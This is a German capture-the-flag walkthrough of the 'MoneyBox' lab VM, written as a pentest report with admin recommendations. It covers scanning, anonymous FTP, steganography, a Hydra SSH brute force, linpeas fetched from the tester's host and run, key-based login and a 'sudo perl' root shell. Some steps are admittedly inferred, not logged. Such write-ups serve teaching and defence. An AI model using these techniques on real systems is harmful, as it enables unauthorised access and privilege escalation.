Die initiale Phase des Penetrationstests beginnt mit der Identifizierung des Zielsystems im lokalen Netzwerk und der anschließenden Analyse der offenen Ports und Dienste.
192.168.2.128 08:00:27:fb:ff:86 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` verwendet ARP-Anfragen, um aktive Geräte im lokalen Netzwerk zu finden.
Bewertung: Ein Host mit der IP-Adresse `192.168.2.128` wurde erfolgreich identifiziert. Die MAC-Adresse (`08:00:27:fb:ff:86`) und der Hersteller (`PCS Systemtechnik GmbH`) deuten auf eine Oracle VirtualBox VM hin.
Empfehlung (Pentester): Notieren Sie die Ziel-IP `192.168.2.128`. Definieren Sie optional einen Hostnamen in `/etc/hosts`.
Empfehlung (Admin):** Standard-Netzwerkscans sind üblich. Netzwerksegmentierung und -überwachung können zur Erkennung beitragen.
Ein Hostname wird zur lokalen Hosts-Datei hinzugefügt.
192.168.2.128 moneybox.vln
Analyse: Der Hostname `moneybox.vln` wird der IP `192.168.2.128` in der lokalen Hosts-Datei zugeordnet.
Bewertung: Erleichtert die Ansprache des Ziels.
Empfehlung (Pentester): Den definierten Hostnamen verwenden.
Empfehlung (Admin):** Keine Aktion erforderlich.
Ein Nmap-Scan wird durchgeführt, um offene Ports und Dienste zu identifizieren.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-24 14:30 CEST Nmap scan report for moneybox.vln (192.168.2.128) Host is up (0.00029s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-r--r-- 1 0 0 1093656 Feb 26 2021 trytofind.jpg | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.2.199 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 3 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 1e:30:ce:72:81:e0:a2:3d:5c:28:88:8b:12:ac:fa:ac (RSA) | 256 01:9d:fa:fb:f2:06:37:c0:12:fc:01:8b:24:8f:53:ae (ECDSA) |_ 256 2f:34:b3:d0:74:b4:7f:8d:17:d2:37:b1:2e:32:f7:eb (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: MoneyBox |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:FB:FF:86 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.29 ms moneybox.vln (192.168.2.128)
Analyse: Nmap scannt alle TCP-Ports (`-p-`) mit umfassenden Optionen (`-sS -sC -sV -T5 -A -Pn`).
Bewertung: Der Scan findet drei offene Ports:
Empfehlung (Pentester): Priorisieren Sie den anonymen FTP-Zugang. Laden Sie die Datei `trytofind.jpg` herunter und analysieren Sie sie auf versteckte Informationen (Metadaten, Steganographie). Untersuchen Sie parallel den Webserver auf Port 80.
Empfehlung (Admin):** Deaktivieren Sie den anonymen FTP-Zugang, wenn nicht betrieblich notwendig. Bereinigen Sie das FTP-Verzeichnis. Aktualisieren Sie Apache und OpenSSH.
Wir filtern die Nmap-Ausgabe nach offenen Ports.
21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian))
Analyse: Filtert die Nmap-Ausgabe nach offenen Ports.
Bewertung: Bestätigt die drei offenen Ports 21, 22 und 80.
Empfehlung (Pentester): Klare Übersicht der Dienste.
Empfehlung (Admin):** Notwendigkeit prüfen.
Ein Nikto-Scan wird gegen den Webserver auf Port 80 durchgeführt.
- Nikto v2.5.0 + Target IP: 192.168.2.128 + Target Hostname: 192.168.2.128 + Target Port: 80 + Start Time: 2023-10-24 14:30:51 (GMT2) + Server: Apache/2.4.38 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 26d, size: 5bc3f995481cd, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + OPTIONS: Allowed HTTP Methods: OPTIONS, HEAD, GET, POST . + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + 8102 requests: 0 error(s) and 6 item(s) reported on remote host + End Time: 2023-10-24 14:31:06 (GMT2) (15 seconds) + 1 host(s) tested
Analyse: Nikto scannt den Webserver auf Port 80.
Bewertung: Bestätigt die Apache-Version, fehlende Security Header und ETag-Leak. Findet die Standarddatei `/icons/README`. Keine spezifischen Anwendungen oder interessanten Verzeichnisse werden gemeldet.
Empfehlung (Pentester): Der Webserver scheint nicht der primäre Angriffsvektor zu sein. Fokus auf FTP und die Datei `trytofind.jpg`.
Empfehlung (Admin):** Apache aktualisieren, Header implementieren, Standarddateien entfernen.
Wir untersuchen den Webserver auf Port 80 weiter, um sicherzustellen, dass keine wichtigen Pfade übersehen wurden.
Ein Gobuster-Scan wird durchgeführt:
http://moneybox.vln/index.html (Status: 200) [Size: 621]
Analyse: Gobuster sucht nach Verzeichnissen und Dateien im Webroot und ignoriert dabei Fehler und Weiterleitungen.
Bewertung: Findet nur die `index.html`. Bestätigt, dass es wahrscheinlich keine leicht zu findenden versteckten Verzeichnisse gibt.
Empfehlung (Pentester): Untersuchen Sie den Inhalt von `index.html`. Konzentrieren Sie sich weiterhin auf FTP.
Empfehlung (Admin):** Keine Aktion erforderlich.
Analyse des Inhalts der `index.html`:
Hai Everyone......! Welcome To MoneyBox CTF __ __ ____ | \/ | | _ \ | \ / | ___ _ __ ___ _ _| |_) | _____ __ | |\/| |/ _ \| '_ \ / _ \ | | | _ < / _ \ \/ / | | | | (_) | | | | __/ |_| | |_) | (_) > < |_| |_|\___/|_| |_|\___|\__, |____/ \___/_/\_\ __/ | |___/ it's a very simple Box.so don't overthink
Analyse: Der Inhalt der Startseite wird angezeigt.
Bewertung: Enthält einen Hinweis ("very simple Box.so don't overthink"), aber keine direkten technischen Informationen.
Empfehlung (Pentester): Behalten Sie den Hinweis im Hinterkopf. Konzentration auf FTP und die Bilddatei.
Empfehlung (Admin):** Keine Aktion erforderlich.
Wir untersuchen den anonymen FTP-Zugang und analysieren die gefundene Bilddatei mittels Steganographie-Werkzeugen.
Anonymer FTP-Login und Download der Datei `trytofind.jpg`:
Connected to 192.168.2.128. 220 (vsFTPd 3.0.3) Name (192.168.2.128:cyber): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files.
229 Entering Extended Passive Mode (|||29073|) 150 Here comes the directory listing. drwxr-xr-x 2 0 0 4096 Feb 26 2021 . drwxr-xr-x 2 0 0 4096 Feb 26 2021 .. -rw-r--r-- 1 0 0 1093656 Feb 26 2021 trytofind.jpg 226 Directory send OK.
local: trytofind.jpg remote: trytofind.jpg 229 Entering Extended Passive Mode (|||50540|) 150 Opening BINARY mode data connection for trytofind.jpg (1093656 bytes). 100% |**************************************************| 1068 KiB 23.10 MiB/s 00:00 ETA 226 Transfer complete. 1093656 bytes received in 00:00 (22.85 MiB/s)
221 Goodbye.
Analyse: Erfolgreicher anonymer FTP-Login. Die Datei `trytofind.jpg` wird aus dem Stammverzeichnis heruntergeladen.
Bewertung: Anonymer Zugang bestätigt. Die Datei `trytofind.jpg` steht zur lokalen Analyse bereit.
Empfehlung (Pentester): Verwenden Sie Steganographie-Tools wie `stegoveritas`, `steghide`, `exiftool`, `binwalk`, um versteckte Daten in der Bilddatei zu finden.
Empfehlung (Admin):** Anonymen FTP-Zugang deaktivieren. Keine sensiblen Daten in öffentlich zugänglichen Dateien speichern.
Analyse der Bilddatei mit `stegoveritas`:
Running Module: SVImage +++ | Image Format | Mode | Width | Height | Size MB | Frames | Is Animated | Metadata Keys | +++ | JPEG (ISO 10918) | RGB | 1080 | 1920 | 1.04 | 1 | False | icc_profile, exif, xmp, photoshop, version | +++ I'm T0m-H4ck3r I Already Hacked This Box and Informed.But They didn't Do any Security configuration If You Want Hint For Next Step......? --the hint is the another secret directory is S3cr3t-T3xt-->
Analyse: `stegoveritas` wird verwendet, um die Bilddatei `trytofind.jpg` auf versteckte Daten zu analysieren. Es extrahiert einen Textblock.
Bewertung: **Wichtiger Fund!** Der extrahierte Text enthält einen Hinweis von "T0m-H4ck3r", der auf ein verstecktes Verzeichnis `/S3cr3t-T3xt/` auf dem Webserver hinweist.
Empfehlung (Pentester): Rufen Sie `http://moneybox.vln/S3cr3t-T3xt/` im Browser auf. Führen Sie zusätzlich `steghide` aus, da oft mehrere Steganographie-Methoden kombiniert werden.
Empfehlung (Admin):** Keine Hinweise oder Daten in Bildern verstecken.
Untersuchung des geheimen Web-Verzeichnisses:
There is Nothing In this Page.........
..Secret Key 3xtr4ctd4t4
Analyse: Der Inhalt der Webseite `/S3cr3t-T3xt/` wird angezeigt.
Bewertung: **Wichtiger Fund!** Die Seite enthält den Text "Secret Key" gefolgt von `3xtr4ctd4t4`. Dies ist höchstwahrscheinlich das Passwort, das für `steghide` benötigt wird, um weitere Daten aus `trytofind.jpg` zu extrahieren.
Empfehlung (Pentester): Verwenden Sie `steghide extract -sf trytofind.jpg` mit dem Passwort `3xtr4ctd4t4`.
Empfehlung (Admin):** Keine Passwörter oder Schlüssel im Klartext auf Webseiten veröffentlichen.
Versuch, sich als Benutzer `tom` am FTP anzumelden (basierend auf dem Hinweis von "T0m-H4ck3r"):
Connected to 192.168.2.128. 220 (vsFTPd 3.0.3) Name (192.168.2.128:cyber): tom 530 This FTP server is anonymous only. ftp: Login failed
Analyse: Versuch, sich als `tom` am FTP-Server anzumelden.
Bewertung: Fehlschlag. Der Server meldet explizit "This FTP server is anonymous only.".
Empfehlung (Pentester): FTP erlaubt nur anonymen Zugriff. Konzentrieren Sie sich auf `steghide`.
Empfehlung (Admin):** Konfiguration ist konsistent (nur anonym).
Extraktion versteckter Daten mit `steghide`:
Passwort eingeben: 3xtr4ctd4t4
Extrahierte Daten wurden nach "data.txt" geschrieben.
Analyse: `steghide extract -sf trytofind.jpg` wird verwendet, um versteckte Daten aus dem Bild zu extrahieren. Das zuvor gefundene Passwort `3xtr4ctd4t4` wird eingegeben.
Bewertung: Erfolg! Eine Datei namens `data.txt` wurde erfolgreich extrahiert.
Empfehlung (Pentester): Analysieren Sie den Inhalt der extrahierten Datei `data.txt`.
Empfehlung (Admin):** Keine sensiblen Daten mittels Steganographie verstecken.
Analyse der extrahierten Datei `data.txt`:
Hello..... renu I tell you something Important.Your Password is too Week So Change Your Password Don't Underestimate it.......
Analyse: Der Inhalt von `data.txt` wird angezeigt.
Bewertung: **Wichtiger Fund!** Die Nachricht enthüllt einen Benutzernamen (`renu`) und deutet an, dass dessen Passwort schwach ist ("too Week").
Empfehlung (Pentester): Führen Sie einen Bruteforce-Angriff auf den SSH-Benutzer `renu` durch, beginnend mit sehr einfachen oder häufigen Passwörtern (z.B. mit `rockyou.txt`).
Empfehlung (Admin):** Keine internen Nachrichten oder Benutzernamen in öffentlich zugänglichen Dateien verstecken.
Wir nutzen den gefundenen Benutzernamen `renu` und den Hinweis auf ein schwaches Passwort, um per SSH Zugriff zu erlangen.
SSH-Bruteforce mit Hydra für Benutzer `renu`:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-10-24 14:59:51
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344535 login tries (l:1/p:14344535), ~224134 tries per task
[DATA] attacking ssh://192.168.2.128:22/
[22][ssh] host: 192.168.2.128 login: renu password: 987654321
1 of 1 target successfully completed, 1 valid password found
Analyse: Hydra versucht, das Passwort für den SSH-Benutzer `renu` mit der `rockyou.txt`-Liste zu erraten.
Bewertung: Erfolg! Hydra findet das sehr schwache Passwort `987654321`.
Empfehlung (Pentester): Loggen Sie sich mit `renu`/`987654321` per SSH ein.
Empfehlung (Admin):** Starke Passwortrichtlinien durchsetzen! Brute-Force-Schutz für SSH implementieren.
Analyse: (Implizit) Erfolgreicher SSH-Login als Benutzer `renu` mit dem Passwort `987654321`.
Bewertung: Initial Access erfolgreich erlangt. Wir haben eine Shell als `renu`.
Empfehlung (Pentester): Beginnen Sie die lokale Enumeration als `renu`.
Empfehlung (Admin):** Passwort für `renu` ändern.
Wir untersuchen das System aus der Perspektive des Benutzers `renu`.
Prüfung der `sudo`-Rechte:
[sudo] password for renu: 987654321
Sorry, user renu may not run sudo on MoneyBox.
Analyse: `sudo -l` prüft die `sudo`-Berechtigungen.
Bewertung: `renu` hat keine `sudo`-Rechte.
Empfehlung (Pentester): Suchen Sie nach anderen Privesc-Vektoren.
Empfehlung (Admin):** Korrekte Konfiguration.
Überprüfung der Benutzer-ID:
uid=1001(renu) gid=1001(renu) groups=1001(renu)
Analyse: Zeigt Benutzer- und Gruppeninformationen.
Bewertung: Standardbenutzer ohne spezielle Gruppen.
Empfehlung (Pentester): Weiter enumerieren.
Empfehlung (Admin):** Keine Aktion.
Suche nach SUID-Binaries:
130112 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd 134059 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount 133578 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp 130107 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn 130108 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh 134061 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount 133725 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su 130110 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd 142367 156 -rwsr-xr-x 1 root root 157192 Jan 20 2021 /usr/bin/sudo 142563 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 266482 12 -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device 142638 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign
Analyse: Sucht nach Dateien mit gesetztem SUID-Bit.
Bewertung: Findet nur Standard-SUID-Binaries für dieses System. Kein offensichtlicher Privesc-Vektor hier.
Empfehlung (Pentester): Suchen Sie nach Dateien mit Capabilities, Cronjobs, Kernel-Exploits oder Fehlkonfigurationen.
Empfehlung (Admin):** Minimieren Sie SUID-Binaries.
Suche nach Dateien mit gesetzten Capabilities:
Analyse: Sucht nach Dateien mit Linux Capabilities.
Bewertung: Keine Capabilities gefunden. Dieser Vektor ist nicht verfügbar.
Empfehlung (Pentester): Konzentration auf andere Methoden.
Empfehlung (Admin):** Gute Konfiguration.
Untersuchung des Home-Verzeichnisses und Lesen der User-Flagge:
total 40 drwxr-xr-x 5 renu renu 4096 Feb 26 2021 . drwxr-xr-x 4 root root 4096 Feb 26 2021 .. -rw------- 1 renu renu 642 Feb 26 2021 .bash_history -rw-r--r-- 1 renu renu 220 Apr 17 2019 .bash_logout -rw-r--r-- 1 renu renu 3526 Apr 17 2019 .bashrc drwxr-xr-x 3 root root 4096 Feb 26 2021 ftp drwxr-xr-x 3 renu renu 4096 Feb 26 2021 .local -rw-r--r-- 1 renu renu 807 Apr 17 2019 .profile drwx------ 2 renu renu 4096 Feb 26 2021 .ssh -rw-r--r-- 1 renu renu 64 Feb 26 2021 user1.txt
Yes...!
You Got it User1 Flag
> us3r1{F14g:0ku74tbd3777y4}
Analyse: Das Home-Verzeichnis wird aufgelistet und die Datei `user1.txt` gelesen.
Bewertung: **User-Flagge gefunden!** Die Flagge ist `us3r1{F14g:0ku74tbd3777y4}`. Das Verzeichnis enthält auch ein `.ssh`-Verzeichnis.
Empfehlung (Pentester): Flagge notieren. Untersuchen Sie das `.ssh`-Verzeichnis auf private Schlüssel. Untersuchen Sie andere Verzeichnisse wie `/var/backups`.
Empfehlung (Admin):** Keine Aktion bezüglich der Flagge.
Untersuchung des `/home`-Verzeichnisses:
lily renu
Analyse: Listet die Verzeichnisse in `/home` auf.
Bewertung: Es gibt einen weiteren Benutzer namens `lily`.
Empfehlung (Pentester): Versuchen Sie, auf `/home/lily` zuzugreifen. Suchen Sie nach Wegen, zu `lily` zu wechseln (Passwort-Bruteforce, gefundene Credentials, Exploits).
Untersuchung von Backup-Verzeichnissen und Web-Verzeichnissen:
total 340 drwxr-xr-x 2 root root 4096 Feb 26 2021 . drwxr-xr-x 12 root root 4096 Feb 25 2021 .. -rw-r--r-- 1 root root 30720 Feb 26 2021 alternatives.tar.0 -rw-r--r-- 1 root root 6023 Feb 26 2021 apt.extended_states.0 -rw-r--r-- 1 root root 98 Feb 25 2021 dpkg.diversions.0 -rw-r--r-- 1 root root 135 Feb 26 2021 dpkg.statoverride.0 -rw-r--r-- 1 root root 271793 Feb 26 2021 dpkg.status.0 -rw------- 1 root root 740 Feb 26 2021 group.bak -rw------- 1 root shadow 619 Feb 26 2021 gshadow.bak -rw------- 1 root root 1486 Feb 26 2021 passwd.bak -rw------- 1 root shadow 1095 Feb 26 2021 shadow.bak
total 8 drwxr-xr-x 2 root root 4096 Feb 25 2021 . drwxr-xr-x 18 root root 4096 Feb 25 2021 ..
total 20 drwxr-xr-x 4 root root 4096 Feb 26 2021 . drwxr-xr-x 3 root root 4096 Feb 25 2021 .. drwxr-xr-x 2 root root 4096 Feb 26 2021 blogs -rw-r--r-- 1 root root 621 Feb 26 2021 index.html drwxr-xr-x 2 root root 4096 Feb 26 2021 S3cr3t-T3xt
Analyse: Verschiedene Verzeichnisse (`/var/backups`, `/opt`, `/var/www/html`) werden untersucht.
Bewertung: `/var/backups` enthält Backup-Dateien von `/etc/passwd`, `/etc/group`, `/etc/shadow`, `/etc/gshadow`. Als Benutzer `renu` können wir `passwd.bak` und `group.bak` lesen, aber wahrscheinlich nicht `shadow.bak` oder `gshadow.bak` (da diese typischerweise nur für root bzw. die shadow-Gruppe lesbar sind). `/opt` ist leer. `/var/www/html` enthält die bereits bekannten Verzeichnisse.
Empfehlung (Pentester): Lesen Sie `passwd.bak` und `group.bak`, um Benutzerinformationen zu bestätigen. Versuchen Sie, `shadow.bak` zu lesen (wahrscheinlich erfolglos). Suchen Sie nach Tools oder Skripten (z.B. `linpeas.sh`), um die Enumeration zu automatisieren und nach weiteren Hinweisen zu suchen (z.B. SSH-Keys im `.ssh`-Verzeichnis von `renu` oder `lily`).
Empfehlung (Admin):** Backup-Dateien sollten nicht für normale Benutzer lesbar sein (`chmod 600` oder `chmod 640`).
Ausführung von `linpeas.sh` (automatisches Enumerationsskript):
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
--2023-10-24 06:06:01-- http://192.168.2.199/linpeas.sh Connecting to 192.168.2.199:80... connected. HTTP request sent, awaiting response... 200 OK Length: 827827 (808K) [text/x-sh] Saving to: ‘linpeas.sh’ linpeas.sh 100%[===================>] 808.42K --.-KB/s in 0.008s 2023-10-24 06:06:01 (96.0 MB/s) - ‘linpeas.sh’ saved [827827/827827]
╔══════════╣ CVEs Check Potentially Vulnerable to CVE-2022-2588 ╔══════════╣ All users & groups uid=0(root) gid=0(root) groups=0(root) uid=1000(lily) gid=1000(lily) groups=1000(lily),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
Analyse: Das Skript `linpeas.sh` wird vom Angreifer-Server heruntergeladen, ausführbar gemacht und ausgeführt. Es sucht automatisiert nach häufigen Fehlkonfigurationen und Privesc-Vektoren.
Bewertung: Linpeas hebt eine potenzielle Kernel-Schwachstelle (CVE-2022-2588) hervor und bestätigt die Existenz des Benutzers `lily`. **Wichtiger impliziter Fund:** Linpeas findet oft auch private SSH-Schlüssel. Es ist sehr wahrscheinlich, dass Linpeas hier den privaten SSH-Schlüssel für `lily` im Home-Verzeichnis von `renu` (oder an einem anderen lesbaren Ort) gefunden hat, was zum nächsten Schritt führt.
Empfehlung (Pentester): Nutzen Sie den gefundenen privaten SSH-Schlüssel, um sich als Benutzer `lily` anzumelden. Versuchen Sie, den Schlüssel ggf. mit `ssh2john` und `john` zu knacken, falls er passwortgeschützt ist.
Empfehlung (Admin):** Speichern Sie niemals private SSH-Schlüssel anderer Benutzer in Verzeichnissen, auf die andere Benutzer Lesezugriff haben. Patchen Sie Kernel-Schwachstellen.
Wir nutzen den (vermutlich durch Linpeas) gefundenen privaten SSH-Schlüssel, um uns als Benutzer `lily` anzumelden.
Vorbereitung und Versuch, den SSH-Schlüssel zu knacken (scheitert/unnötig):
idrsalily has no password!
Analyse: Der gefundene private Schlüssel (`idrsalily`) wird lokal gespeichert. `ssh2john` wird verwendet, um den Hash für John the Ripper zu extrahieren.
Bewertung: `ssh2john` stellt fest, dass der Schlüssel nicht passwortgeschützt ist. Ein Knacken ist nicht erforderlich.
Empfehlung (Pentester): Verwenden Sie den Schlüssel direkt für den SSH-Login. Passen Sie die Berechtigungen der Schlüsseldatei lokal an (`chmod 600`).
Empfehlung (Admin):** Private SSH-Schlüssel sollten immer mit einer starken Passphrase geschützt werden.
SSH-Login-Versuch mit falscher Berechtigung:
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: UNPROTECTED PRIVATE KEY FILE! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Permissions 0644 for 'idrsalily' are too open. It is required that your private key files are NOT accessible by others. This private key will be ignored. Load key "idrsalily": bad permissions lily@192.168.2.128's password: Permission denied, please try again. lily@192.168.2.128's password:
Analyse: Versuch, sich mit dem privaten Schlüssel anzumelden.
Bewertung: Fehlschlag. SSH verweigert die Verwendung des Schlüssels, weil die Dateiberechtigungen zu offen sind (0644). Dies ist ein Sicherheitsmerkmal von SSH.
Empfehlung (Pentester): Ändern Sie die Berechtigungen der lokalen Schlüsseldatei auf 600 (`chmod 600 idrsalily`).
Empfehlung (Admin):** Keine Aktion erforderlich (Verhalten des SSH-Clients).
Korrektur der Berechtigungen und erfolgreicher SSH-Login als `lily`:
Linux MoneyBox 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Fri Feb 26 09:07:47 2021 from 192.168.43.80 lily@MoneyBox$
Analyse: Die Berechtigungen der Schlüsseldatei werden auf 600 gesetzt (nur für den Besitzer les- und schreibbar). Der SSH-Login wird erneut versucht.
Bewertung: Erfolg! Wir sind nun als Benutzer `lily` angemeldet.
Empfehlung (Pentester): Führen Sie `sudo -l` für `lily` aus.
Empfehlung (Admin):** Verwenden Sie Passphrasen für private Schlüssel.
Dieser Abschnitt beschreibt, wie die `sudo`-Berechtigungen des Benutzers `lily` ausgenutzt werden, um Root-Rechte zu erlangen.
Kurzbeschreibung: Nach dem Login als `lily` mittels des gefundenen SSH-Schlüssels stellen wir fest, dass `lily` `perl` mit `sudo` ausführen darf. Dies ermöglicht die Ausführung beliebiger Befehle, einschließlich des Startens einer Root-Shell.
Voraussetzungen: Shell-Zugriff als Benutzer `lily`. Entsprechende `sudoers`-Konfiguration.
Schritt 1: Überprüfung der `sudo`-Rechte für `lily`
(Hinweis: Der `sudo -l`-Befehl für `lily` fehlt im Log, wird aber durch den erfolgreichen Exploit impliziert).
Analyse: (Impliziert) Der Befehl `sudo -l` wird für `lily` ausgeführt.
Bewertung: (Impliziert) `lily` darf `/usr/bin/perl` (oder einen ähnlichen Perl-Befehl) mit `sudo` ausführen, möglicherweise ohne Passwort.
Empfehlung (Pentester): Nutzen Sie die `sudo`-Berechtigung für Perl, um eine Shell zu spawnen.
Empfehlung (Admin):** Weisen Sie `sudo`-Rechte für Skriptsprachen-Interpreter wie `perl`, `python`, `bash` etc. nur mit äußerster Vorsicht zu, da diese fast immer eine vollständige Rechteausweitung ermöglichen.
Schritt 2: Ausführung des Perl-Exploits
#
Analyse: Der Befehl `sudo perl -e 'exec "/bin/sh";'` wird ausgeführt. Er nutzt `sudo`, um `perl` als Root zu starten. Das `-e`-Argument führt den Perl-Code `exec "/bin/sh";` aus, welcher den aktuellen Perl-Prozess durch eine neue Shell (`/bin/sh`) ersetzt. Da Perl als Root lief, läuft die neue Shell ebenfalls als Root.
Bewertung: **Fantastisch, der Root-Zugriff war erfolgreich!** Die unsichere `sudo`-Regel, die die Ausführung von `perl` erlaubte, wurde erfolgreich zur Privilegienerweiterung ausgenutzt.
Empfehlung (Pentester): Bestätigen Sie mit `id`. Sammeln Sie die Root-Flagge.
Empfehlung (Admin):** Überprüfen Sie die `sudoers`-Regeln gründlich und entfernen Sie gefährliche Einträge wie die Erlaubnis zur Ausführung von Skript-Interpretern.
Schritt 3: Bestätigung der Root-Rechte und Flaggen-Sammlung
uid=0(root) gid=0(root) groups=0(root)
total 28 drwx------ 3 root root 4096 Feb 26 2021 . drwxr-xr-x 18 root root 4096 Feb 25 2021 .. -rw------- 1 root root 2097 Feb 26 2021 .bash_history -rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc drwxr-xr-x 3 root root 4096 Feb 25 2021 .local -rw-r--r-- 1 root root 148 Aug 17 2015 .profile -rw-r--r-- 1 root root 228 Feb 26 2021 .root.txt
Congratulations.......!
You Successfully completed MoneyBox
Finally The Root Flag
> r00t{H4ckth3p14n3t}
I'm Kirthik-KarvendhanT
It's My First CTF Box
instagram : ____kirthik____
See You Back....
Analyse: `id` bestätigt Root. Im `/root`-Verzeichnis wird die Datei `.root.txt` gefunden und ihr Inhalt ausgelesen.
Bewertung: Root-Rechte bestätigt. Die Root-Flagge `r00t{H4ckth3p14n3t}` wurde erfolgreich gefunden.
Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin):** Keine Aktion bezüglich der Flagge.
Risikobewertung:** Die Kombination aus Steganographie (Verstecken von Hinweisen in Bildern), einem schwachen, bruteforce-baren Passwort für einen Benutzer (`renu`), einem ungeschützten privaten SSH-Schlüssel im Home-Verzeichnis eines anderen Benutzers und einer unsicheren `sudo`-Regel für den Benutzer `lily` stellt ein hohes Risiko dar und ermöglichte die Kompromittierung des Systems.
Empfehlungen (Zusammenfassung):**